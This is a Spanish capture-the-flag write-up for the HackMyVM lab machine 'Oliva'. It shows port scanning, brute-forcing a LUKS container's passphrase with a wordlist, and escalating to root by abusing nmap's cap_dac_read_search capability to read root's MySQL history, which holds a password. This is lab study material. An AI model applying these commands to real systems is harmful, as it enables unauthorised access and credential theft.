cd ~/blog

~/writeups/hmv/037-oliva.md

037 - Oliva

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password en un contenedor LUKSCredential Exposure dentro del contenedor cifradoLinux Capabilities Privesc mediante cap_dac_read_search en Nmap
hackmyvm.eu/machines/machine.php?vm=Oliva

~1 min de lectura


Enumeración de servicios

Escaneamos los puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.33
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.33
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-06 20:42 -03
Nmap scan report for 192.168.1.33
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 6d:84:71:14:03:7d:7e:c8:6f:dd:24:92:a8:8e:f7:e9 (ECDSA)
|_  256 d8:5e:39:87:9e:a1:a6:75:9a:28:78:ce:84:f7:05:7a (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

Enumeramos con gobuster:

❯ gobuster dir -u http://192.168.1.33 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 615]
/index.php            (Status: 200) [Size: 69]
...

Recuperación y apertura del contenedor LUKS

index.html es la página por defecto de nginx; index.php ofrece la descarga de un archivo cifrado con LUKS v2. LUKS aporta cifrado en reposo, pero la resistencia práctica depende también de la frase de paso. Este contenedor presenta un caso de Weak Password, por lo que probamos el diccionario fuera de línea con bruteforce-luks:

❯ bruteforce-luks -t 8 -f ~/Documentos/wordlists/rockyou.txt oliva
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 970
Tried passwords per second: 2,412935
Last tried password: cookie1

Password found: bebita

Abrimos y montamos el contenedor:

❯ sudo cryptsetup luksOpen oliva oliva_pwned
Introduzca la frase contraseña de oliva:

❯ ls -l /dev/mapper
crw------- root root 0 B Wed Mar  6 20:57:18 2024  control
lrwxrwxrwx root root 7 B Wed Mar  6 22:03:55 2024  oliva_pwned ⇒ ../dm-1

❯ mkdir /tmp/oliva_pwned
❯ sudo mount /dev/mapper/oliva_pwned /tmp/oliva_pwned
❯ ls /tmp/oliva_pwned
 lost+found   mypass.txt

mypass.txt contiene la contraseña del usuario oliva, con la que entramos por SSH y obtenemos la primera flag:

❯ ssh oliva@192.168.1.33
oliva@192.168.1.33's password:
oliva@oliva:~$

Escalada de privilegios

Para escalar, listamos las capabilities (Linux Capabilities Privesc):

oliva@oliva:/home$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/nmap cap_dac_read_search=eip
/usr/bin/ping cap_net_raw=ep

nmap tiene cap_dac_read_search, que permite saltarse las comprobaciones DAC de lectura y recorrido de directorios. La capability pertenece al proceso de Nmap, no a la shell de oliva: debemos encontrar una función legítima del programa que abra el archivo por nosotros. La opción -iL interpreta un archivo como lista de objetivos y, aunque el contenido no sean hosts válidos, los errores de resolución reproducen sus líneas. Aplicamos esta técnica sobre .mysql_history de root, donde quedó registrada su contraseña:

oliva@oliva:/home$ nmap -iL /root/.mysql_history
...
Failed to resolve "insert\040into\040logging\040(uzer,pazz)\040VALUES\040("root","OhItwasEasy!");".
...

La lectura arbitraria no cambia directamente nuestro UID. La escalada se completa porque el historial contiene una contraseña reutilizable para root; si ese archivo no expusiera un secreto, la capability seguiría permitiendo divulgar datos, pero no garantizaría una shell privilegiada. Con la contraseña recuperada capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados